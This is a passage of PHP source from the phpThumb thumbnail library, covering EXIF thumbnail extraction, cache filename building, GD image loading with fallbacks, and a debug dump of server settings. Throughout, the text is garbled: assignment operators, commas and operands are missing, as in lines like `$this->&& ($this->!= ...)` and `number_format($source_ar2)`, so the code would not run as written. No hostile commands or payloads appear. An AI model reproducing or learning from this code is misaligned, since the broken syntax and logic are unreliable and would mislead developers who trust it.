$this->exif_thumbnail_type   '';

            
// The parameters width, height and imagetype are available since PHP v4.3.0
            
if (phpthumb_functions::version_compare_replacement(phpversion(), '4.3.0''>=')) {

                
$this->exif_thumbnail_data = @exif_thumbnail($this->sourceFilename$this->exif_thumbnail_width$this->exif_thumbnail_height$this->exif_thumbnail_type);

            } else {

                
// older versions of exif_thumbnail output an error message but NOT return false on failure
                
ob_start();
                
$this->exif_thumbnail_data exif_thumbnail($this->sourceFilename);
                
$exit_thumbnail_error ob_get_contents();
                
ob_end_clean();
                if (!
$exit_thumbnail_error && $this->exif_thumbnail_data) {

                    if (
$gdimg_exif_temp $this->ImageCreateFromStringReplacement($this->exif_thumbnail_datafalse)) {
                        
$this->exif_thumbnail_width  ImageSX($gdimg_exif_temp);
                        
$this->exif_thumbnail_height ImageSY($gdimg_exif_temp);
                        
$this->exif_thumbnail_type   2// (2 == JPEG) before PHP v4.3.0 only JPEG format EXIF thumbnails are returned
                        
unset($gdimg_exif_temp);
                    } else {
                        return 
$this->ErrorImage('Failed - $this->ImageCreateFromStringReplacement($this->exif_thumbnail_data) in '.__FILE__.' on line '.__LINE__);
                    }

                }

            }

        } elseif (!
function_exists('exif_thumbnail')) {

            
$this->DebugMessage('exif_thumbnail() does not exist, cannot extract EXIF thumbnail'__FILE____LINE__);
            
//return false;

        
}

        
$this->DebugMessage('EXIF thumbnail extraction: (size='.strlen($this->exif_thumbnail_data).'; type="'.$this->exif_thumbnail_type.'"; '.intval($this->exif_thumbnail_width).'x'.intval($this->exif_thumbnail_height).')'__FILE____LINE__);

        
// see if EXIF thumbnail can be used directly with no processing
        
if ($this->config_use_exif_thumbnail_for_speed && $this->exif_thumbnail_data) {
            while (
true) {
                if (!
$this->xto) {
                    
$source_ar $this->source_width $this->source_height;
                    
$exif_ar $this->exif_thumbnail_width $this->exif_thumbnail_height;
                    if (
number_format($source_ar2) != number_format($exif_ar2)) {
                        
$this->DebugMessage('not using EXIF thumbnail because $source_ar != $exif_ar ('.$source_ar.' != '.$exif_ar.')'__FILE____LINE__);
                        break;
                    }
                    if (
$this->&& ($this->!= $this->exif_thumbnail_width)) {
                        
$this->DebugMessage('not using EXIF thumbnail because $this->w != $this->exif_thumbnail_width ('.$this->w.' != '.$this->exif_thumbnail_width.')'__FILE____LINE__);
                        break;
                    }
                    if (
$this->&& ($this->!= $this->exif_thumbnail_height)) {
                        
$this->DebugMessage('not using EXIF thumbnail because $this->h != $this->exif_thumbnail_height ('.$this->h.' != '.$this->exif_thumbnail_height.')'__FILE____LINE__);
                        break;
                    }
                    
$CannotBeSetParameters = array('sx''sy''sh''sw''far''bg''bc''fltr''phpThumbDebug');
                    foreach (
$CannotBeSetParameters as $parameter) {
                        if (
$this->$parameter) {
                            break 
2;
                        }
                    }
                }

                
$this->DebugMessage('setting $this->gdimg_source = $this->ImageCreateFromStringReplacement($this->exif_thumbnail_data)'__FILE____LINE__);
                
$this->gdimg_source $this->ImageCreateFromStringReplacement($this->exif_thumbnail_data);
                
$this->source_width  ImageSX($this->gdimg_source);
                
$this->source_height ImageSY($this->gdimg_source);
                return 
true;
            }
        }

        if ((
$this->config_max_source_pixels 0) && (($this->source_width $this->source_height) > $this->config_max_source_pixels)) {

            
// Source image is larger than would fit in available PHP memory.
            // If ImageMagick is installed, use it to generate the thumbnail.
            // Else, if an EXIF thumbnail is available, use that as the source image.
            // Otherwise, no choice but to fail with an error message
            
$this->DebugMessage('image is '.$this->source_width.'x'.$this->source_height.' and therefore contains more pixels ('.($this->source_width $this->source_height).') than $this->config_max_source_pixels setting ('.$this->config_max_source_pixels.')'__FILE____LINE__);
            if (!
$this->config_prefer_imagemagick && $this->ImageMagickThumbnailToGD()) {
                
// excellent, we have a thumbnailed source image
                
return true;
            }

        }
        return 
true;
    }


    function 
SetCacheFilename() {
        if (!
is_null($this->cache_filename)) {
            
$this->DebugMessage('$this->cache_filename already set, skipping SetCacheFilename()'__FILE____LINE__);
            return 
true;
        }
        
$this->setOutputFormat();
        
$this->setCacheDirectory();
        if (!
$this->config_cache_directory) {
            
$this->DebugMessage('SetCacheFilename() failed because $this->config_cache_directory is empty'__FILE____LINE__);
            return 
false;
        }

        if (!
$this->sourceFilename && !$this->rawImageData && $this->src) {
            
$this->sourceFilename $this->ResolveFilenameToAbsolute($this->src);
        }

        if (
$this->config_cache_default_only_suffix && $this->sourceFilename) {
            
// simplified cache filenames:
            // only use default parameters in phpThumb.config.php
            // substitute source filename into * in $this->config_cache_default_only_suffix
            // (eg: '*_thumb' becomes 'picture_thumb.jpg')
            
if (strpos($this->config_cache_default_only_suffix'*') === false) {
                
$this->DebugMessage('aborting simplified caching filename because no * in "'.$this->config_cache_default_only_suffix.'"'__FILE____LINE__);
            } else {
                
eregi('(.+)(\.[a-z0-9]+)?$'basename($this->sourceFilename), $matches);
                
$this->cache_filename $this->config_cache_directory.DIRECTORY_SEPARATOR.rawurlencode(str_replace('*', @$matches[1], $this->config_cache_default_only_suffix)).'.'.strtolower($this->thumbnailFormat);
                return 
true;
            }
        }

        
$this->cache_filename '';
        
$broad_directory_name '';
        if (
$this->new) {
            
$broad_directory_name strtolower(md5($this->new));
            
$this->cache_filename .= '_new'.$broad_directory_name;
        } elseif (
$this->md5s) {
            
// source image MD5 hash provided
            
$this->DebugMessage('SetCacheFilename() _raw set from $this->md5s = "'.$this->md5s.'"'__FILE____LINE__);
            
$broad_directory_name $this->md5s;
            
$this->cache_filename .= '_raw'.$this->md5s;
        } elseif (!
$this->src && $this->rawImageData) {
            
$this->DebugMessage('SetCacheFilename() _raw set from md5($this->rawImageData) = "'.md5($this->rawImageData).'"'__FILE____LINE__);
            
$broad_directory_name strtolower(md5($this->rawImageData));
            
$this->cache_filename .= '_raw'.$broad_directory_name;
        } else {
            
$this->DebugMessage('SetCacheFilename() _src set from md5($this->sourceFilename) "'.$this->sourceFilename.'" = "'.md5($this->sourceFilename).'"'__FILE____LINE__);
            
$broad_directory_name strtolower(md5($this->sourceFilename));
            
$this->cache_filename .= '_src'.$broad_directory_name;
        }
        if (@
$_SERVER['HTTP_REFERER'] && $this->config_nooffsitelink_enabled) {
            
$parsed_url1 = @phpthumb_functions::ParseURLbetter(@$_SERVER['HTTP_REFERER']);
            
$parsed_url2 = @phpthumb_functions::ParseURLbetter('http://'.@$_SERVER['HTTP_HOST']);
            if (@
$parsed_url1['host'] && @$parsed_url2['host'] && ($parsed_url1['host'] != $parsed_url2['host'])) {
                
// include "_offsite" only if nooffsitelink_enabled and if referrer doesn't match the domain of the current server
                
$this->cache_filename .= '_offsite';
            }
        }

        
$ParametersString '';
        if (
$this->fltr && is_array($this->fltr)) {
            
$ParametersString .= '_fltr'.implode('_fltr'$this->fltr);
        }
        
$FilenameParameters1 = array('ar''bg''bc''far''sx''sy''sw''sh''zc');
        foreach (
$FilenameParameters1 as $key) {
            if (
$this->$key) {
                
$ParametersString .= '_'.$key.$this->$key;
            }
        }
        
$FilenameParameters2 = array('h''w''wl''wp''ws''hp''hs''xto''ra''iar''aoe''maxb''sfn''dpi');
        foreach (
$FilenameParameters2 as $key) {
            if (
$this->$key) {
                
$ParametersString .= '_'.$key.intval($this->$key);
            }
        }
        if (
$this->thumbnailFormat == 'jpeg') {
            
// only JPEG output has variable quality option
            
$ParametersString .= '_q'.intval($this->thumbnailQuality);
        }
        
$this->DebugMessage('SetCacheFilename() _par set from md5('.$ParametersString.')'__FILE____LINE__);
        
$this->cache_filename .= '_par'.strtolower(md5($ParametersString));

        if (
$this->md5s) {
            
// source image MD5 hash provided
            // do not source image modification date --
            // cached image will be used even if file was modified or removed
        
} elseif (!$this->config_cache_source_filemtime_ignore_remote && eregi('^(f|ht)tps?\://'$this->src)) {
            
$this->cache_filename .= '_dat'.intval(phpthumb_functions::filedate_remote($this->src));
        } elseif (!
$this->config_cache_source_filemtime_ignore_local && $this->src && !$this->rawImageData) {
            
$this->cache_filename .= '_dat'.intval(@filemtime($this->sourceFilename));
        }

        
$this->cache_filename .= '.'.strtolower($this->thumbnailFormat);
        
$broad_directories '';
        for (
$i 0$i $this->config_cache_directory_depth$i++) {
            
$broad_directories .= DIRECTORY_SEPARATOR.substr($broad_directory_name0$i 1);
        }

        
$this->cache_filename $this->config_cache_directory.$broad_directories.DIRECTORY_SEPARATOR.$this->config_cache_prefix.rawurlencode($this->cache_filename);
        return 
true;
    }


    function 
SourceImageIsTooLarge($width$height) {
        if (!
$this->config_max_source_pixels) {
            return 
false;
        }
        if (
function_exists('memory_get_usage')) {
            
$available_memory max(intval(ini_get('memory_limit')), intval(get_cfg_var('memory_limit'))) * 1048576;
            
$available_memory -= memory_get_usage();
            return (bool) ((
$width $height 5) > $available_memory);
        }
        return (bool) ((
$width $height) > $this->config_max_source_pixels);
    }

    function 
ImageCreateFromFilename($filename) {
        
// try to create GD image source directly via GD, if possible,
        // rather than buffering to memory and creating with ImageCreateFromString
        
$ImageCreateWasAttempted false;
        
$gd_image false;

        
$this->DebugMessage('starting ImageCreateFromFilename('.$filename.')'__FILE____LINE__);
        if (
$filename && ($getimagesizeinfo = @GetImageSize($filename))) {
            if (!
$this->SourceImageIsTooLarge($getimagesizeinfo[0], $getimagesizeinfo[1])) {
                
$ImageCreateFromFunction = array(
                    
1  => 'ImageCreateFromGIF',
                    
2  => 'ImageCreateFromJPEG',
                    
3  => 'ImageCreateFromPNG',
                    
15 => 'ImageCreateFromWBMP',
                );
                
$this->DebugMessage('ImageCreateFromFilename found ($getimagesizeinfo[2]=='.@$getimagesizeinfo[2].')'__FILE____LINE__);
                switch (@
$getimagesizeinfo[2]) {
                    case 
1:  // GIF
                    
case 2:  // JPEG
                    
case 3:  // PNG
                    
case 15// WBMP
                        
$ImageCreateFromFunctionName $ImageCreateFromFunction[$getimagesizeinfo[2]];
                        if (
function_exists($ImageCreateFromFunctionName)) {
                            
$this->DebugMessage('Calling '.$ImageCreateFromFunctionName.'('.$filename.')'__FILE____LINE__);
                            
$ImageCreateWasAttempted true;
                            
$gd_image $ImageCreateFromFunctionName($filename);
                        } else {
                            
$this->DebugMessage('NOT calling '.$ImageCreateFromFunctionName.'('.$filename.') because !function_exists('.$ImageCreateFromFunctionName.')'__FILE____LINE__);
                        }
                        break;

                    case 
4:  // SWF
                    
case 5:  // PSD
                    
case 6:  // BMP
                    
case 7:  // TIFF (LE)
                    
case 8:  // TIFF (BE)
                    
case 9:  // JPC
                    
case 10// JP2
                    
case 11// JPX
                    
case 12// JB2
                    
case 13// SWC
                    
case 14// IFF
                    
case 16// XBM
                        
$this->DebugMessage('No built-in image creation function for image type "'.@$getimagesizeinfo[2].'" ($getimagesizeinfo[2])'__FILE____LINE__);
                        break;

                    default:
                        
$this->DebugMessage('Unknown value for $getimagesizeinfo[2]: "'.@$getimagesizeinfo[2].'"'__FILE____LINE__);
                        break;
                }
            } else {
                
$this->DebugMessage('image is '.$getimagesizeinfo[0].'x'.$getimagesizeinfo[1].' and therefore contains more pixels ('.($getimagesizeinfo[0] * $getimagesizeinfo[1]).') than $this->config_max_source_pixels setting ('.$this->config_max_source_pixels.')'__FILE____LINE__);
                return 
false;
            }
        } else {
            
$this->DebugMessage('empty $filename or GetImageSize('.$filename.') failed'__FILE____LINE__);
        }

        if (!
$gd_image) {
            
// cannot create from filename, attempt to create source image with ImageCreateFromString, if possible
            
if ($ImageCreateWasAttempted) {
                
$this->DebugMessage(@$ImageCreateFromFunctionName.'() was attempted but FAILED'__FILE____LINE__);
            }
            
$this->DebugMessage('Populating $rawimagedata'__FILE____LINE__);
            
$rawimagedata '';
            if (
$fp = @fopen($filename'rb')) {
                
$filesize filesize($filename);
                
$blocksize 8192;
                
$blockreads ceil($filesize $blocksize);
                for (
$i 0$i $blockreads$i++) {
                    
$rawimagedata .= fread($fp$blocksize);
                }
                
fclose($fp);
            } else {
                
$this->DebugMessage('cannot fopen('.$filename.')'__FILE____LINE__);
            }
            if (
$rawimagedata) {
                
$this->DebugMessage('attempting ImageCreateFromStringReplacement($rawimagedata ('.strlen($rawimagedata).' bytes), true)'__FILE____LINE__);
                
$gd_image $this->ImageCreateFromStringReplacement($rawimagedatatrue);
            }
        }
        return 
$gd_image;
    }

    function 
SourceImageToGD() {
        if (
is_resource($this->gdimg_source)) {
            
$this->source_width  ImageSX($this->gdimg_source);
            
$this->source_height ImageSY($this->gdimg_source);
            
$this->DebugMessage('skipping SourceImageToGD() because $this->gdimg_source is already a resource ('.$this->source_width.'x'.$this->source_height.')'__FILE____LINE__);
            return 
true;
        }
        
$this->DebugMessage('starting SourceImageToGD()'__FILE____LINE__);

        if (
$this->ImageMagickThumbnailToGD()) {

            
// excellent, we have a thumbnailed source image
            
$this->DebugMessage('ImageMagickThumbnailToGD() succeeded'__FILE____LINE__);

        } elseif (!
$this->gdimg_source && $this->rawImageData) {

            if (
$this->SourceImageIsTooLarge($this->source_width$this->source_height)) {
                
$memory_get_usage = (function_exists('memory_get_usage') ? memory_get_usage() : 0);
                return 
$this->ErrorImage('Source image is too large ('.$this->source_width.'x'.$this->source_height.' = '.number_format($this->source_width $this->source_height 10000001).'Mpx, max='.number_format($this->config_max_source_pixels 10000001).'Mpx) for GD creation (either install ImageMagick or increase PHP memory_limit to at least '.ceil(($memory_get_usage + ($this->source_width $this->source_height)) / 1048576).'M).');
            }
            if (
$this->md5s && ($this->md5s != md5($this->rawImageData))) {
                return 
$this->ErrorImage('$this->md5s != md5($this->rawImageData)'."\n".'"'.$this->md5s.'" != '."\n".'"'.md5($this->rawImageData).'"');
            }
            
//if (ini_get('safe_mode')) {
            //    return $this->ErrorImage('Cannot generate thumbnails from raw image data when PHP SAFE_MODE enabled');
            //}
            
$this->gdimg_source $this->ImageCreateFromStringReplacement($this->rawImageData);
            if (!
$this->gdimg_source) {
                if (
substr($this->rawImageData02) === 'BM') {
                    
$this->getimagesizeinfo[2] = 6// BMP
                
} elseif (substr($this->rawImageData04) === 'II'."\x2A\x00") {
                    
$this->getimagesizeinfo[2] = 7// TIFF (littlendian)
                
} elseif (substr($this->rawImageData04) === 'MM'."\x00\x2A") {
                    
$this->getimagesizeinfo[2] = 8// TIFF (bigendian)
                
}
                
$this->DebugMessage('SourceImageToGD.ImageCreateFromStringReplacement() failed with unknown image type "'.substr($this->rawImageData04).'" ('.phpthumb_functions::HexCharDisplay(substr($this->rawImageData04)).')'__FILE____LINE__);
//                return $this->ErrorImage('Unknown image type identified by "'.substr($this->rawImageData, 0, 4).'" ('.phpthumb_functions::HexCharDisplay(substr($this->rawImageData, 0, 4)).') in SourceImageToGD()['.__LINE__.']');
            
}

        } elseif (!
$this->gdimg_source && $this->sourceFilename) {

            if (
$this->md5s && ($this->md5s != phpthumb_functions::md5_file_safe($this->sourceFilename))) {
                return 
$this->ErrorImage('$this->md5s != md5(sourceFilename)'."\n".'"'.$this->md5s.'" != '."\n".'"'.phpthumb_functions::md5_file_safe($this->sourceFilename).'"');
            }
            switch (@
$this->getimagesizeinfo[2]) {
                case 
1:
                case 
3:
                    
// GIF or PNG input file may have transparency
                    
$this->is_alpha true;
                    break;
            }
            if (!
$this->SourceImageIsTooLarge($this->source_width$this->source_height)) {
                
$this->gdimg_source $this->ImageCreateFromFilename($this->sourceFilename);
            }

        }

        while (
true) {
            if (
$this->gdimg_source) {
                
$this->DebugMessage('Not using EXIF thumbnail data because $this->gdimg_source is already set'__FILE____LINE__);
                break;
            }
            if (!
$this->exif_thumbnail_data) {
                
$this->DebugMessage('Not using EXIF thumbnail data because $this->exif_thumbnail_data is empty'__FILE____LINE__);
                break;
            }
            if (
ini_get('safe_mode')) {
                if (!
$this->SourceImageIsTooLarge($this->source_width$this->source_height)) {
                    
$this->DebugMessage('Using EXIF thumbnail data because source image too large and safe_mode enabled'__FILE____LINE__);
                    
$this->aoe true;
                } else {
                    break;
                }
            } else {
                if (!
$this->config_use_exif_thumbnail_for_speed) {
                    
$this->DebugMessage('Not using EXIF thumbnail data because $this->config_use_exif_thumbnail_for_speed is FALSE'__FILE____LINE__);
                    break;
                }
                if ((
$this->thumbnailCropX != 0) || ($this->thumbnailCropY != 0)) {
                    
$this->DebugMessage('Not using EXIF thumbnail data because source cropping is enabled ('.$this->thumbnailCropX.','.$this->thumbnailCropY.')'__FILE____LINE__);
                    break;
                }
                if ((
$this->$this->exif_thumbnail_width) || ($this->$this->exif_thumbnail_height)) {
                    
$this->DebugMessage('Not using EXIF thumbnail data because EXIF thumbnail is too small ('.$this->exif_thumbnail_width.'x'.$this->exif_thumbnail_height.' vs '.$this->w.'x'.$this->h.')'__FILE____LINE__);
                    break;
                }
                
$source_ar $this->source_width $this->source_height;
                
$exif_ar   $this->exif_thumbnail_width $this->exif_thumbnail_height;
                if (
number_format($source_ar2) != number_format($exif_ar2)) {
                    
$this->DebugMessage('not using EXIF thumbnail because $source_ar != $exif_ar ('.$source_ar.' != '.$exif_ar.')'__FILE____LINE__);
                    break;
                }
            }

            
// EXIF thumbnail exists, and is equal to or larger than destination thumbnail, and will be use as source image
            
$this->DebugMessage('Trying to use EXIF thumbnail as source image'__FILE____LINE__);

            if (
$gdimg_exif_temp $this->ImageCreateFromStringReplacement($this->exif_thumbnail_datafalse)) {

                
$this->DebugMessage('Successfully using EXIF thumbnail as source image'__FILE____LINE__);
                
$this->gdimg_source   $gdimg_exif_temp;
                
$this->source_width   $this->exif_thumbnail_width;
                
$this->source_height  $this->exif_thumbnail_height;
                
$this->thumbnailCropW $this->source_width;
                
$this->thumbnailCropH $this->source_height;
                return 
true;

            } else {
                
$this->DebugMessage('$this->ImageCreateFromStringReplacement($this->exif_thumbnail_data, false) failed'__FILE____LINE__);
            }

            break;
        }

        if (!
$this->gdimg_source) {
            
$this->DebugMessage('$this->gdimg_source is still empty'__FILE____LINE__);

            
$this->DebugMessage('ImageMagickThumbnailToGD() failed'__FILE____LINE__);

            
$imageHeader '';
            
$gd_info gd_info();
            
$GDreadSupport false;
            switch (@
$this->getimagesizeinfo[2]) {
                case 
1:
                    
$imageHeader 'Content-Type: image/gif';
                    
$GDreadSupport = (bool) @$gd_info['GIF Read Support'];
                    break;
                case 
2:
                    
$imageHeader 'Content-Type: image/jpeg';
                    
$GDreadSupport = (bool) @$gd_info['JPG Support'];
                    break;
                case 
3:
                    
$imageHeader 'Content-Type: image/png';
                    
$GDreadSupport = (bool) @$gd_info['PNG Support'];
                    break;
            }
            if (
$imageHeader) {
                
// cannot create image for whatever reason (maybe ImageCreateFromJPEG et al are not available?)
                // and ImageMagick is not available either, no choice but to output original (not resized/modified) data and exit
                
if ($this->config_error_die_on_source_failure) {
                    
$errormessages = array();
                    
$errormessages[] = 'All attempts to create GD image source failed.';
                    if (
$this->fatalerror) {
                        
$errormessages[] = $this->fatalerror;
                    }
                    if (
ini_get('safe_mode')) {
                        
$errormessages[] = 'Safe Mode enabled, therefore ImageMagick is unavailable. (disable Safe Mode if possible)';
                    } elseif (!
$this->ImageMagickVersion()) {
                        
$errormessages[] = 'ImageMagick is not installed (it is highly recommended that you install it).';
                    }
                    if (
$this->SourceImageIsTooLarge($this->getimagesizeinfo[0], $this->getimagesizeinfo[1])) {
                        
$memory_get_usage = (function_exists('memory_get_usage') ? memory_get_usage() : 0);
                        
$errormessages[] = 'Source image is too large ('.$this->getimagesizeinfo[0].'x'.$this->getimagesizeinfo[1].' = '.number_format($this->getimagesizeinfo[0] * $this->getimagesizeinfo[1] / 10000001).'Mpx, max='.number_format($this->config_max_source_pixels 10000001).'Mpx) for GD creation (either install ImageMagick or increase PHP memory_limit to at least '.ceil(($memory_get_usage + ($this->getimagesizeinfo[0] * $this->getimagesizeinfo[1])) / 1048576).'M).';
                    } elseif (!
$GDreadSupport) {
                        
$errormessages[] = 'GD does not have read support for "'.$imageHeader.'".';
                    } else {
                        
$errormessages[] = 'Source image probably corrupt.';
                    }
                    
$this->ErrorImage(implode("\n"$errormessages));

                } else {
                    
$this->DebugMessage('All attempts to create GD image source failed ('.(ini_get('safe_mode') ? 'Safe Mode enabled, ImageMagick unavailable and source image probably too large for GD': ($GDreadSupport 'source image probably corrupt' 'GD does not have read support for "'.$imageHeader.'"')).'), cannot generate thumbnail');
                    
//$this->DebugMessage('All attempts to create GD image source failed ('.($GDreadSupport ? 'source image probably corrupt' : 'GD does not have read support for "'.$imageHeader.'"').'), outputing raw image', __FILE__, __LINE__);
                    //if (!$this->phpThumbDebug) {
                    //    header($imageHeader);
                    //    echo $this->rawImageData;
                    //    exit;
                    //}
                    
return false;
                }
            }

            
//switch (substr($this->rawImageData, 0, 2)) {
            //    case 'BM':
            
switch (@$this->getimagesizeinfo[2]) {
                case 
6:
                    
ob_start();
                    if (!@include_once(
dirname(__FILE__).'/phpthumb.bmp.php')) {
                        
ob_end_clean();
                        return 
$this->ErrorImage('include_once('.dirname(__FILE__).'/phpthumb.bmp.php) failed');
                    }
                    
ob_end_clean();
                    if (
$fp = @fopen($this->sourceFilename'rb')) {
                        
$this->rawImageData '';
                        while (!
feof($fp)) {
                            
$this->rawImageData .= fread($fp32768);
                        }
                        
fclose($fp);
                    }
                    
$phpthumb_bmp = new phpthumb_bmp();
                    
$this->gdimg_source $phpthumb_bmp->phpthumb_bmp2gd($this->rawImageData, (phpthumb_functions::gd_version() >= 2.0));
                    unset(
$phpthumb_bmp);
                    if (
$this->gdimg_source) {
                        
$this->DebugMessage('$phpthumb_bmp->phpthumb_bmp2gd() succeeded'__FILE____LINE__);
                    } else {
                        return 
$this->ErrorImage($this->ImageMagickVersion() ? 'ImageMagick failed on BMP source conversion' 'phpthumb_bmp2gd() failed');
                    }
                    break;
            
//}
            //switch (substr($this->rawImageData, 0, 4)) {
            //    case 'II'."\x2A\x00":
            //    case 'MM'."\x00\x2A":
                
case 7:
                case 
8:
                    return 
$this->ErrorImage($this->ImageMagickVersion() ? 'ImageMagick failed on TIFF source conversion' 'ImageMagick is unavailable and phpThumb() does not support TIFF source images without it');
                    break;

                
//case "\xD7\xCD\xC6\x9A":
                //    return $this->ErrorImage($this->ImageMagickVersion() ? 'ImageMagick failed on WMF source conversion' : 'ImageMagick is unavailable and phpThumb() does not support WMF source images without it');
                //    break;
            
}

            if (!
$this->gdimg_source) {
                
$HeaderFourBytes '';
                if (
$this->rawImageData) {
                    
$HeaderFourBytes substr($this->rawImageData04);
                } elseif (
$this->sourceFilename) {
                    if (
$fp = @fopen($this->sourceFilename'rb')) {
                        
$HeaderFourBytes fread($fp4);
                        
fclose($fp);
                    } else {
                        return 
$this->ErrorImage('failed to open "'.$this->sourceFilename.'" SourceImageToGD() ['.__LINE__.']');
                    }
                } else {
                    return 
$this->ErrorImage('Unable to create image, neither filename nor image data suppplied in SourceImageToGD() ['.__LINE__.']');
                }
                if (!
$this->ImageMagickVersion() && !phpthumb_functions::gd_version()) {
                    return 
$this->ErrorImage('Neither GD nor ImageMagick seem to be installed on this server. At least one (preferably GD), or better both, MUST be installed for phpThumb to work.');
                } elseif (
$HeaderFourBytes == "\xD7\xCD\xC6\x9A") { // WMF
                    
return $this->ErrorImage($this->ImageMagickVersion() ? 'ImageMagick failed on WMF source conversion' 'ImageMagick is unavailable and phpThumb() does not support WMF source images without it');
                } elseif (
$HeaderFourBytes == '%PDF') { // "%PDF"
                    
return $this->ErrorImage($this->ImageMagickVersion() ? 'ImageMagick and GhostScript are both required for PDF source images; GhostScript may not be properly configured' 'ImageMagick and/or GhostScript are unavailable and phpThumb() does not support PDF source images without them');
                } elseif (
substr($HeaderFourBytes03) == "\xFF\xD8\xFF") { // JPEG
                    
return $this->ErrorImage('Image (JPEG) is too large for PHP-GD memory_limit, please install ImageMagick or increase php.ini memory_limit setting');
                } elseif (
$HeaderFourBytes == '%PNG') { // "%PNG"
                    
return $this->ErrorImage('Image (PNG) is too large for PHP-GD memory_limit, please install ImageMagick or increase php.ini memory_limit setting');
                } elseif (
substr($HeaderFourBytes03) == 'GIF') { // GIF
                    
return $this->ErrorImage('Image (GIF) is too large for PHP-GD memory_limit, please install ImageMagick or increase php.ini memory_limit setting');
                }
                return 
$this->ErrorImage('Unknown image type identified by "'.$HeaderFourBytes.'" ('.phpthumb_functions::HexCharDisplay($HeaderFourBytes).') in SourceImageToGD() ['.__LINE__.']');

            }
        }

        if (!
$this->gdimg_source) {
            if (
$gdimg_exif_temp $this->ImageCreateFromStringReplacement($this->exif_thumbnail_datafalse)) {
                
$this->DebugMessage('All other attempts failed, but successfully using EXIF thumbnail as source image'__FILE____LINE__);
                
$this->gdimg_source $gdimg_exif_temp;
                
// override allow-enlarging setting if EXIF thumbnail is the only source available
                // otherwise thumbnails larger than the EXIF thumbnail will be created at EXIF size
                
$this->aoe true;
                return 
true;
            }
            return 
false;
        }

        
$this->source_width  ImageSX($this->gdimg_source);
        
$this->source_height ImageSY($this->gdimg_source);
        return 
true;
    }


    function 
phpThumbDebugVarDump($var) {
        if (
is_null($var)) {
            return 
'NULL';
        } elseif (
is_bool($var)) {
            return (
$var 'TRUE' 'FALSE');
        } elseif (
is_string($var)) {
            return 
'string('.strlen($var).')'.str_repeat(' 'max(0strlen(strlen($var)))).' "'.$var.'"';
        } elseif (
is_int($var)) {
            return 
'integer     '.$var;
        } elseif (
is_float($var)) {
            return 
'float       '.$var;
        } elseif (
is_array($var)) {
            
ob_start();
            
var_dump($var);
            
$vardumpoutput ob_get_contents();
            
ob_end_clean();
            return 
strtr($vardumpoutput"\n\r\t"'   ');
        }
        return 
gettype($var);
    }

    function 
phpThumbDebug($level='') {
        if (
$level && ($this->phpThumbDebug !== $level)) {
            return 
true;
        }
        if (
$this->config_disable_debug) {
            return 
$this->ErrorImage('phpThumbDebug disabled');
        }

        
$FunctionsExistance  = array('exif_thumbnail''gd_info''image_type_to_mime_type''GetImageSize''ImageCopyResampled''ImageCopyResized''ImageCreate''ImageCreateFromString''ImageCreateTrueColor''ImageIsTrueColor''ImageRotate''ImageTypes''version_compare''ImageCreateFromGIF''ImageCreateFromJPEG''ImageCreateFromPNG''ImageCreateFromWBMP''ImageCreateFromXBM''ImageCreateFromXPM''ImageCreateFromString''ImageCreateFromGD''ImageCreateFromGD2''ImageCreateFromGD2Part''ImageJPEG''ImageGIF''ImagePNG''ImageWBMP');
        
$ParameterNames      = array('src''new''w''h''f''q''sx''sy''sw''sh''far''bg''bc''file''goto''err''xto''ra''ar''aoe''iar''maxb');
        
$ConfigVariableNames = array('document_root''temp_directory''output_format''output_maxwidth''output_maxheight''error_message_image_default''error_bgcolor''error_textcolor''error_fontsize''error_die_on_error''error_silent_die_on_error''error_die_on_source_failure''nohotlink_enabled''nohotlink_valid_domains''nohotlink_erase_image''nohotlink_text_message''nooffsitelink_enabled''nooffsitelink_valid_domains''nooffsitelink_require_refer''nooffsitelink_erase_image''nooffsitelink_text_message''high_security_enabled''allow_src_above_docroot''allow_src_above_phpthumb''allow_parameter_file''allow_parameter_goto''max_source_pixels''use_exif_thumbnail_for_speed''border_hexcolor''background_hexcolor''ttf_directory''disable_pathinfo_parsing''disable_imagecopyresampled');
        
$OtherVariableNames  = array('phpThumbDebug''thumbnailQuality''thumbnailFormat''gdimg_output''gdimg_source''sourceFilename''source_width''source_height''thumbnailCropX''thumbnailCropY''thumbnailCropW''thumbnailCropH''exif_thumbnail_width''exif_thumbnail_height''exif_thumbnail_type''thumbnail_width''thumbnail_height''thumbnail_image_width''thumbnail_image_height');

        
$DebugOutput = array();
        
$DebugOutput[] = 'phpThumb() version          = '.$this->phpthumb_version;
        
$DebugOutput[] = 'phpversion()                = '.@phpversion();
        
$DebugOutput[] = 'PHP_OS                      = '.PHP_OS;
        
$DebugOutput[] = '$_SERVER[SERVER_SOFTWARE]   = '.@$_SERVER['SERVER_SOFTWARE'];
        
$DebugOutput[] = '__FILE__                    = '.__FILE__;
        
$DebugOutput[] = 'realpath(.)                 = '.@realpath('.');
        
$DebugOutput[] = '$_SERVER[PHP_SELF]          = '.@$_SERVER['PHP_SELF'];
        
$DebugOutput[] = '$_SERVER[HOST_NAME]         = '.@$_SERVER['HOST_NAME'];
        
$DebugOutput[] = '$_SERVER[HTTP_REFERER]      = '.@$_SERVER['HTTP_REFERER'];
        
$DebugOutput[] = '$_SERVER[QUERY_STRING]      = '.@$_SERVER['QUERY_STRING'];
        
$DebugOutput[] = '$_SERVER[PATH_INFO]         = '.@$_SERVER['PATH_INFO'];
        
$DebugOutput[] = '$_SERVER[DOCUMENT_ROOT]     = '.@$_SERVER['DOCUMENT_ROOT'];
        
$DebugOutput[] = 'getenv(DOCUMENT_ROOT)       = '.@getenv('DOCUMENT_ROOT');
        
$DebugOutput[] = '';

        
$DebugOutput[] = 'get_magic_quotes_gpc()         = '.$this->phpThumbDebugVarDump(@get_magic_quotes_gpc());
        
$DebugOutput[] = 'get_magic_quotes_runtime()     = '.$this->phpThumbDebugVarDump(@get_magic_quotes_runtime());
        
$DebugOutput[] = 'error_reporting()              = '.$this->phpThumbDebugVarDump(error_reporting());
        
$DebugOutput[] = 'ini_get(error_reporting)       = '.$this->phpThumbDebugVarDump(@ini_get('error_reporting'));
        
$DebugOutput[] = 'ini_get(display_errors)        = '.$this->phpThumbDebugVarDump(@ini_get('display_errors'));
        
$DebugOutput[] = 'ini_get(allow_url_fopen)       = '.$this->phpThumbDebugVarDump(@ini_get('allow_url_fopen'));
        
$DebugOutput[] = 'ini_get(disable_functions)     = '.$this->phpThumbDebugVarDump(@ini_get('disable_functions'));
        
$DebugOutput[] = 'get_cfg_var(disable_functions) = '.$this->phpThumbDebugVarDump(@get_cfg_var('disable_functions'));
        
$DebugOutput[] = 'ini_get(safe_mode)             = '.$this->phpThumbDebugVarDump(@ini_get('safe_mode'));
        
$DebugOutput[] = 'ini_get(open_basedir)          = '.$this->phpThumbDebugVarDump(@ini_get('open_basedir'));
        
